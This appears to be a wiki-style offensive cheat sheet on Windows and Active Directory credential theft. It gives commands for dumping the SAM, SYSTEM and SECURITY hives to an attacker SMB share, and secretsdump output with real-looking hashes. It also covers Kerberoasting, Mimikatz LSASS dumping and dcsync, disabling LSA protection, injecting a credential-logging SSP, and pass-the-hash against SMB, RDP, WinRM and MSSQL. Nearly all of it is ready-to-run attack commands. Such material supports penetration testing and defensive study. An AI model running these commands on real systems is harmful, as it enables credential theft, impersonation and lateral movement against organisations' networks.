https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system&lt;br /&gt;
# This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.&lt;br /&gt;
# From registry&lt;br /&gt;
# Easiest method&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
# Download to attacker&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&lt;br /&gt;
# Backup Operator - If a user is a member of Backup Operator&lt;br /&gt;
# Backup Operators can override security restrictions for the sole purpose of backing up or restoring files&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets&lt;br /&gt;
# 1 - First start smb share&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
2 - Then run the command&lt;br /&gt;
 reg.py  User:Password@192.168.210.16  backup -o \\10.10.14.14\share                                                                   2 ⨯&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[!] Cannot check RemoteRegistry status. Hoping it is started...&lt;br /&gt;
[*] Saved HKLM\SAM to \\10.10.14.14\share\SAM.save&lt;br /&gt;
[*] Saved HKLM\SYSTEM to \\10.10.14.14\share\SYSTEM.save&lt;br /&gt;
[*] Saved HKLM\SECURITY to \\10.10.14.14\share\SECURITY.save&lt;br /&gt;
# 3 - After we got the databases we use secretsdump to extract the info&lt;br /&gt;
impacket-secretsdump -sam SAM.save  -security SECURITY.save  -system SYSTEM.save LOCAL&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Target system bootKey: 0xb1223a009047a376c120c3630a0f0e48&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5bdd6a33efe43f0dc7e3b2435579aa53:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.&lt;br /&gt;
[*] Dumping cached domain logon information (domain/username:hash)&lt;br /&gt;
[*] Dumping LSA Secrets&lt;br /&gt;
[*] $MACHINE.ACC&lt;br /&gt;
$MACHINE.ACC:plain_password_hex:dc66f30d3e8bd48b4bfb9c3f53eb66ebda1edbb7af476a9f7650476edce03326b61fabe212dfd9e6c2e06eaaffcab3c78cfd4f47cd564ef53e8eb5d855f9e998c34c5fabc5e713559e090d6e5dc149a97ed653608d5cd07864d7774f2d766512849d4fafff4030324173ccd8cb8c6a1513a348a337c6d46778e4e37bc2e2c2e369626f1f153bdf391f8c175fdae042537016a2198b8c120c738854c907a1ddddcb88aaa517af97bcee783d1d9a36ddc179f2bb5cc8a336a00863183c96384434bb9a8eee781822f51d2727cd14e3fd0841edfa7004eefa2a8e3327b457f34587642e1e91e79a24590d97b8ad6cb14ee7&lt;br /&gt;
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d47a6d90e1c5adf4200227514e393948&lt;br /&gt;
[*] DPAPI_SYSTEM&lt;br /&gt;
dpapi_machinekey:0xf108ba9fcd3554a2abb82ff4a8d29f0679aeaae6&lt;br /&gt;
dpapi_userkey:0xe57f2322d588ce987f04d6a3b1bf31cfa35d050a&lt;br /&gt;
[*] NL$KM&lt;br /&gt;
 0000   07 E9 F2 3F 08 49 46 07  02 CE 30 4B 65 D3 86 32   ...?.IF...0Ke..2&lt;br /&gt;
 0010   6F 02 5D 36 7D E8 30 33  F4 71 94 44 98 37 CB 1A   o.]6}.03.q.D.7..&lt;br /&gt;
 0020   05 CC 76 F1 26 E2 94 E7  D3 54 78 1F EF BE E9 13   ..v.&amp;amp;....Tx.....&lt;br /&gt;
 0030   30 3B 62 CB A5 57 75 E6  78 F3 D4 55 5C 68 20 15   0;b..Wu.x..U\h .&lt;br /&gt;
NL$KM:07e9f23f0849460702ce304b65d386326f025d367de83033f47194449837cb1a05cc76f126e294e7d354781fefbee913303b62cba55775e678f3d4555c682015&lt;br /&gt;
[*] Cleaning up...&lt;br /&gt;
&lt;br /&gt;
# Extract NTDS using Secretsdump and machine account hash&lt;br /&gt;
secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 192.168.210.16  -hashes :d47a6d90e1c5adf4200227514e393909 &#039;TESTDC01$&#039;@192.168.210.16&lt;br /&gt;
&lt;br /&gt;
# Invoke-NinjaCopy&lt;br /&gt;
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1&lt;br /&gt;
# Use PS script to make copy of SAM, SYSTEM and ntds.dit&lt;br /&gt;
Invoke-NinjaCopy.ps1 -Path &amp;quot;C:\Windows\System32\config\sam&amp;quot; -LocalDestination &amp;quot;c:\copy_of_local_sam&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Impackets - All Commands Matrix ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Tool&lt;br /&gt;
! Commands&lt;br /&gt;
! Explanation&lt;br /&gt;
|-&lt;br /&gt;
| Remote Execution&lt;br /&gt;
|&lt;br /&gt;
| Tools for executing commands remotely.&lt;br /&gt;
|-&lt;br /&gt;
| psexec.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides PSEXEC-like functionality using RemComSvc.&lt;br /&gt;
|-&lt;br /&gt;
| smbexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Executes commands on the target machine without using RemComSvc.&lt;br /&gt;
|-&lt;br /&gt;
| atexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -command command&lt;br /&gt;
| Executes a command on the target machine through the Task Scheduler service and returns the output.&lt;br /&gt;
|-&lt;br /&gt;
| wmiexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a semi-interactive shell using Windows Management Instrumentation (WMI).&lt;br /&gt;
|-&lt;br /&gt;
| dcomexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a semi-interactive shell using different DCOM endpoints.&lt;br /&gt;
|-&lt;br /&gt;
| Kerberos&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with Kerberos authentication.&lt;br /&gt;
|-&lt;br /&gt;
| GetTGT.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Requests a TGT and saves it as ccache.&lt;br /&gt;
|-&lt;br /&gt;
| GetST.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] [-impersonate]&lt;br /&gt;
| Requests a Service Ticket and saves it as ccache. Supports impersonation.&lt;br /&gt;
|-&lt;br /&gt;
| GetPac.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Retrieves the PAC (Privilege Attribute Certificate) structure of the specified target user.&lt;br /&gt;
|-&lt;br /&gt;
| GetUserSPNs.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Finds and fetches Service Principal Names associated with normal user accounts.&lt;br /&gt;
|-&lt;br /&gt;
| GetNPUsers.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Lists and gets TGTs for users with &#039;Do not require Kerberos preauthentication&#039; set.&lt;br /&gt;
|-&lt;br /&gt;
| rbcd.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Handles the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.&lt;br /&gt;
|-&lt;br /&gt;
| ticketConverter.py&lt;br /&gt;
| -kirbi kirbiFile -ccache ccacheFile&lt;br /&gt;
| Converts kirbi files used by mimikatz into ccache files used by Impacket, and vice versa.&lt;br /&gt;
|-&lt;br /&gt;
| ticketer.py&lt;br /&gt;
| -template templateFile -ccache ccacheFile&lt;br /&gt;
| Creates Golden/Silver tickets from scratch or based on a template allowing customization of parameters.&lt;br /&gt;
|-&lt;br /&gt;
| raiseChild.py&lt;br /&gt;
| -user user -password pass -domain domain -dc-ip ip&lt;br /&gt;
| Implements child-domain to forest privilege escalation using Golden Tickets and ExtraSids.&lt;br /&gt;
|-&lt;br /&gt;
| Windows Secrets&lt;br /&gt;
|&lt;br /&gt;
| Tools for extracting secrets and credentials from Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| secretsdump.py&lt;br /&gt;
| -ntds ntdsFile -system systemFile -outputfile outputFile -use-vss [-lmhash LMHASH] [-nthash NTHASH]&lt;br /&gt;
| Performs various techniques to dump secrets, NTLM hashes, plaintext credentials, and Kerberos keys from a remote machine.&lt;br /&gt;
|-&lt;br /&gt;
| mimikatz.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a mini shell to control a remote mimikatz RPC server.&lt;br /&gt;
|-&lt;br /&gt;
| Server Tools/MiTM Attacks&lt;br /&gt;
|&lt;br /&gt;
| Tools for performing MiTM (Man-in-the-Middle) attacks.&lt;br /&gt;
|-&lt;br /&gt;
| ntlmrelayx.py&lt;br /&gt;
| -t targetFile -tf targetFile -smb2support [-socks]&lt;br /&gt;
| Performs NTLM Relay Attacks, relaying credentials to various protocols. Supports predefined attacks and SOCKS mode.&lt;br /&gt;
|-&lt;br /&gt;
| karmaSMB.py&lt;br /&gt;
| -file fileContents -smb2support&lt;br /&gt;
| A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.&lt;br /&gt;
|-&lt;br /&gt;
| smbserver.py&lt;br /&gt;
| -share shareName -smb2support -username user -password pass&lt;br /&gt;
| A Python implementation of an SMB server. Allows setting up shares and user accounts.&lt;br /&gt;
|-&lt;br /&gt;
| WMI&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with Windows Management Instrumentation (WMI).&lt;br /&gt;
|-&lt;br /&gt;
| wmiquery.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -query query&lt;br /&gt;
| Issues WQL queries and gets descriptions of WMI objects at the target system.&lt;br /&gt;
|-&lt;br /&gt;
| wmipersist.py&lt;br /&gt;
| -target-ip ip -username user -password pass -query query [-interval interval]&lt;br /&gt;
| Creates/removes a WMI Event Consumer/Filter and executes Visual Basic based on the WQL filter or timer specified.&lt;br /&gt;
|-&lt;br /&gt;
| Known Vulnerabilities&lt;br /&gt;
|&lt;br /&gt;
| Tools for exploiting known vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| goldenPac.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Exploits MS14-068, saves the golden ticket, and launches a PSEXEC session at the target.&lt;br /&gt;
|-&lt;br /&gt;
| sambaPipe.py&lt;br /&gt;
| -target-ip ip -user user -password pass -so soFile&lt;br /&gt;
| Exploits CVE-2017-7494, uploads and executes a shared library specified by the user.&lt;br /&gt;
|-&lt;br /&gt;
| smbrelayx.py&lt;br /&gt;
| -target-ip ip -user user -password pass -command command&lt;br /&gt;
| Exploits CVE-2015-0005 using an SMB Relay Attack. Tries to gather the SMB session key through NETLOGON.&lt;br /&gt;
|-&lt;br /&gt;
| SMB/MSRPC&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with SMB and MSRPC.&lt;br /&gt;
|-&lt;br /&gt;
| smbclient.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -list&lt;br /&gt;
| A generic SMB client for listing shares and files, renaming, uploading, downloading files, and creating/deleting directories.&lt;br /&gt;
|-&lt;br /&gt;
| addcomputer.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -computer computerName -domain domainName&lt;br /&gt;
| Adds a computer to a domain using LDAP or SAMR (SMB).&lt;br /&gt;
|-&lt;br /&gt;
| getArch.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Connects to a target machine and gathers the OS architecture type using MSRPC.&lt;br /&gt;
|-&lt;br /&gt;
| exchanger.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Connects to MS Exchange via RPC over HTTP v2.&lt;br /&gt;
|-&lt;br /&gt;
| lookupsid.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| A Windows SID brute forcer aiming to find remote users/groups using MSRPC Interface.&lt;br /&gt;
|-&lt;br /&gt;
| netview.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Gets a list of sessions opened at remote hosts and keeps track of them.&lt;br /&gt;
|-&lt;br /&gt;
| reg.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -command command&lt;br /&gt;
| A remote registry manipulation tool through the MSRPC Interface.&lt;br /&gt;
|-&lt;br /&gt;
| rpcdump.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Dumps the list of RPC endpoints and string bindings registered at the target.&lt;br /&gt;
|-&lt;br /&gt;
| rpcmap.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Scans for listening DCE/RPC interfaces and gets a list of interface UUIDs.&lt;br /&gt;
|-&lt;br /&gt;
| samrdump.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Communicates with the Security Account Manager Remote interface to list system user accounts, available resource shares, and other sensitive information.&lt;br /&gt;
|-&lt;br /&gt;
| services.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -action action&lt;br /&gt;
| Manipulates Windows services through the MSRPC Interface, supporting start, stop, delete, status, config, list, create, and change operations.&lt;br /&gt;
|-&lt;br /&gt;
| smbpasswd.py&lt;br /&gt;
| -target target -username user -password pass -newpassword newpass&lt;br /&gt;
| An alternative to smbpasswd for changing expired passwords remotely over SMB (MSRPC-SAMR).&lt;br /&gt;
|-&lt;br /&gt;
| MSSQL / TDS&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with MSSQL and TDS.&lt;br /&gt;
|-&lt;br /&gt;
| mssqlinstance.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Retrieves MSSQL instance names from the target host.&lt;br /&gt;
|-&lt;br /&gt;
| mssqlclient.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -database database [-query query]&lt;br /&gt;
| An MSSQL client supporting SQL and Windows Authentications, including TLS.&lt;br /&gt;
|-&lt;br /&gt;
| File Formats&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with various file formats.&lt;br /&gt;
|-&lt;br /&gt;
| esentutl.py&lt;br /&gt;
| -file file -action action&lt;br /&gt;
| An Extensible Storage Engine format implementation for dumping catalog, pages, and tables of ESE databases (e.g., NTDS.dit).&lt;br /&gt;
|-&lt;br /&gt;
| ntfs-read.py&lt;br /&gt;
| -target target -path path [-recursive] -output outputDir&lt;br /&gt;
| An NTFS format implementation providing a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.&lt;br /&gt;
|-&lt;br /&gt;
| registry-read.py&lt;br /&gt;
| -file hiveFile -key registryKey -recursive&lt;br /&gt;
| A Windows Registry file format implementation for parsing offline registry hives.&lt;br /&gt;
|-&lt;br /&gt;
| Other&lt;br /&gt;
|&lt;br /&gt;
| Miscellaneous tools.&lt;br /&gt;
|-&lt;br /&gt;
| findDelegation.py&lt;br /&gt;
| -dc-ip ip -user user -password pass&lt;br /&gt;
| Lists all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.&lt;br /&gt;
|-&lt;br /&gt;
| GetADUsers.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] -outputfile outputFile&lt;br /&gt;
| Gathers data about the domain&#039;s users and their corresponding email addresses, including last logon and last password set attributes.&lt;br /&gt;
|-&lt;br /&gt;
| Get-GPPPassword.py&lt;br /&gt;
| -gpp gppFile -output outputDir&lt;br /&gt;
| Extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Can parse GPP XML files offline.&lt;br /&gt;
|-&lt;br /&gt;
| mqtt_check.py&lt;br /&gt;
| -target target -port port -users usersFile -passwords passwordsFile&lt;br /&gt;
| A simple MQTT example for testing different login options and can be adapted for brute force attacks.&lt;br /&gt;
|-&lt;br /&gt;
| rdp_check.py&lt;br /&gt;
| -target target -port port -users usersFile -passwords passwordsFile&lt;br /&gt;
| A partial implementation of [MS-RDPBCGR] and [MS-CREDSSP] to test whether an account is valid on the target host.&lt;br /&gt;
|-&lt;br /&gt;
| sniff.py&lt;br /&gt;
| -interface interface -count count&lt;br /&gt;
| A simple packet sniffer using the pcapy library to listen for packets in transit over the specified interface.&lt;br /&gt;
|-&lt;br /&gt;
| sniffer.py&lt;br /&gt;
| -interface interface -count count [-protocols protocols]&lt;br /&gt;
| A simple packet sniffer using a raw socket to listen for packets in transit corresponding to the specified protocols.&lt;br /&gt;
|-&lt;br /&gt;
| ping.py&lt;br /&gt;
| -target target -count count&lt;br /&gt;
| A simple ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.&lt;br /&gt;
|-&lt;br /&gt;
| ping6.py&lt;br /&gt;
| -target target -count count&lt;br /&gt;
| A simple IPv6 ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Kerberoast ==&lt;br /&gt;
&lt;br /&gt;
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a &amp;quot;user&amp;quot;&lt;br /&gt;
account, extract the encrypted blob that was encrypted using the user&#039;s password and bruteforce it offline.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## PowerView:&lt;br /&gt;
#Get User Accounts that are used as Service Accounts&lt;br /&gt;
Get-NetUser -SPN&lt;br /&gt;
#Get every available SPN account, request a TGS and dump its hash&lt;br /&gt;
Invoke-Kerberoast&lt;br /&gt;
#Requesting the TGS for a single account:&lt;br /&gt;
Request-SPNTicket&lt;br /&gt;
#Export all tickets using Mimikatz&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;kerberos::list /export&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
## AD Module:&lt;br /&gt;
#Get User Accounts that are used as Service Accounts&lt;br /&gt;
Get-ADUser -Filter {ServicePrincipalName -ne &amp;quot;$null&amp;quot;} -Properties ServicePrincipalName&lt;br /&gt;
&lt;br /&gt;
## Impacket:&lt;br /&gt;
python GetUserSPNs.py /: -outputfile&lt;br /&gt;
&lt;br /&gt;
## Rubeus:&lt;br /&gt;
#Kerberoasting and outputing on a file with a spesific format&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain:&lt;br /&gt;
#Kerberoasting whle being &amp;quot;OPSEC&amp;quot; safe, essentially while not try to roast AES enabled accounts&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /rc4opsec&lt;br /&gt;
#Kerberoast AES enabled accounts&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /aes&lt;br /&gt;
#Kerberoast spesific user account&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /user: /simple&lt;br /&gt;
#Kerberoast by specifying the authentication credentials&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mimikatz ALL COMMANDS ==&lt;br /&gt;
&lt;br /&gt;
Source: https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#mimikatz&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#The commands are in cobalt strike format!&lt;br /&gt;
#Dump LSASS:&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz token::elevate&lt;br /&gt;
mimikatz sekurlsa::logonpasswords&lt;br /&gt;
#(Over) Pass The Hash&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz sekurlsa::pth /user: /ntlm:&amp;lt;&amp;gt; /domain:&lt;br /&gt;
#List all available kerberos tickets in memory&lt;br /&gt;
mimikatz sekurlsa::tickets&lt;br /&gt;
#Dump local Terminal Services credentials&lt;br /&gt;
mimikatz sekurlsa::tspkg&lt;br /&gt;
#Dump and save LSASS in a file&lt;br /&gt;
mimikatz sekurlsa::minidump c:\temp\lsass.dmp&lt;br /&gt;
#List cached MasterKeys&lt;br /&gt;
mimikatz sekurlsa::dpapi&lt;br /&gt;
#List local Kerberos AES Keys&lt;br /&gt;
mimikatz sekurlsa::ekeys&lt;br /&gt;
#Dump SAM Database&lt;br /&gt;
mimikatz lsadump::sam&lt;br /&gt;
#Dump SECRETS Database&lt;br /&gt;
mimikatz lsadump::secrets&lt;br /&gt;
#Inject and dump the Domain Controler&#039;s Credentials&lt;br /&gt;
mimikatz privilege::debug&lt;br /&gt;
mimikatz token::elevate&lt;br /&gt;
mimikatz lsadump::lsa /inject&lt;br /&gt;
#Dump the Domain&#039;s Credentials without touching DC&#039;s LSASS and also remotely&lt;br /&gt;
mimikatz lsadump::dcsync /domain: /all&lt;br /&gt;
#List and Dump local kerberos credentials&lt;br /&gt;
mimikatz kerberos::list /dump&lt;br /&gt;
#Pass The Ticket&lt;br /&gt;
mimikatz kerberos::ptt&lt;br /&gt;
#List TS/RDP sessions&lt;br /&gt;
mimikatz ts::sessions&lt;br /&gt;
#List Vault credentials&lt;br /&gt;
mimikatz vault::list&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LSA Protection ===&lt;br /&gt;
&lt;br /&gt;
What if mimikatz fails to dump credentials because of LSA Protection controls ?&lt;br /&gt;
&lt;br /&gt;
* LSA as a Protected Process (Kernel Land Bypass)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Check if LSA runs as a protected process by looking if the variable &amp;quot;RunAsPPL&amp;quot; is set to 0x1&lt;br /&gt;
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa&lt;br /&gt;
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe&lt;br /&gt;
#Now lets import the mimidriver.sys to the system&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
#Now lets remove the protection flags from lsass.exe process&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
#Finally run the logonpasswords function to dump lsass&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* LSA as a Protected Process (Userland &amp;quot;Fileless&amp;quot; Bypass)&lt;br /&gt;
[https://github.com/itm4n/PPLdump PPLdump]&lt;br /&gt;
&lt;br /&gt;
* [https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland Bypassing LSA Protection in Userland]&lt;br /&gt;
&lt;br /&gt;
* LSA is running as virtualized process (LSAISO) by Credential Guard&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Check if a process called lsaiso.exe exists on the running processes&lt;br /&gt;
tasklist |findstr lsaiso&lt;br /&gt;
#If it does there isn&#039;t a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.&lt;br /&gt;
#Lets inject our own malicious Security Support Provider into memory, for this example i&#039;ll use the one mimikatz provides&lt;br /&gt;
mimikatz # misc::memssp&lt;br /&gt;
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [https://adsecurity.org/?page_id=1821 Detailed Mimikatz Guide]&lt;br /&gt;
&lt;br /&gt;
* [https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a Poking Around With 2 lsass Protection Options]&lt;br /&gt;
&lt;br /&gt;
== Pass the Hash ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash https://book.hacktricks.xyz/windows-hardening/ntlm#pass-the-hash]&lt;br /&gt;
&lt;br /&gt;
https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/&lt;br /&gt;
&lt;br /&gt;
Once you have the hash of the victim, you can use it to impersonate it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Mimikatz&lt;br /&gt;
# This will launch a process that will belongs to the users that have launch mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access to network resources as if you where that user (similar to the runas /netonly trick but you don&#039;t need to know the plain-text password).&lt;br /&gt;
# 1&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe&amp;quot;&#039;&lt;br /&gt;
# 2&lt;br /&gt;
privilege::debug&lt;br /&gt;
sekurlsa::pth /user:Administrator /domain:ignite.local /ntlm:32196B56FFE6F45E294117B91A83BF38&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Pass-the-hash from linux&lt;br /&gt;
# Connect via psexec using PTH&lt;br /&gt;
psexec.py -hashed LM:NT user@ip&lt;br /&gt;
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.10.10.161&lt;br /&gt;
# Connect to RDP using PTH&lt;br /&gt;
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH&lt;br /&gt;
# Pass the hash with evil-winrm&lt;br /&gt;
evil-winrm -u  -H  -i&lt;br /&gt;
# SMBclient&lt;br /&gt;
python smbclient.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105&lt;br /&gt;
# Crackmapexec&lt;br /&gt;
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig&lt;br /&gt;
# rpcdump&lt;br /&gt;
python rpcdump.py -hashes 00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 ignite/Administrator@192.168.1.105&lt;br /&gt;
# MSSQL&lt;br /&gt;
impacket-mssqlclient administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth&lt;br /&gt;
/opt/MSSqlPwner/MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
# PTH toolkit builtin in Kali linux&lt;br /&gt;
# smbclinet&lt;br /&gt;
pth-smbclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105/c$&lt;br /&gt;
# wmic&lt;br /&gt;
pth-wmic -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105 &amp;quot;select Name from Win32_UserAccount&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# rpcclient&lt;br /&gt;
pth-rpcclient -U test.local/Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.105&lt;br /&gt;
# net&lt;br /&gt;
pth-net rpc share list -U &#039;ignite\Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38&#039; -S 192.168.1.105&lt;br /&gt;
# curl&lt;br /&gt;
pth-curl --ntlm -u Administrator:32196B56FFE6F45E294117B91A83BF38 http://192.168.1.105/file.txt&lt;br /&gt;
------------------------------------------------------------------&lt;br /&gt;
# Impacket Windows compiled tools&lt;br /&gt;
psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.my.domain.local&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
wmiexec.exe wmiexec_windows.exe -hashes &amp;quot;:b38ff50264b74508085d82c69794a4d8&amp;quot; svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local&lt;br /&gt;
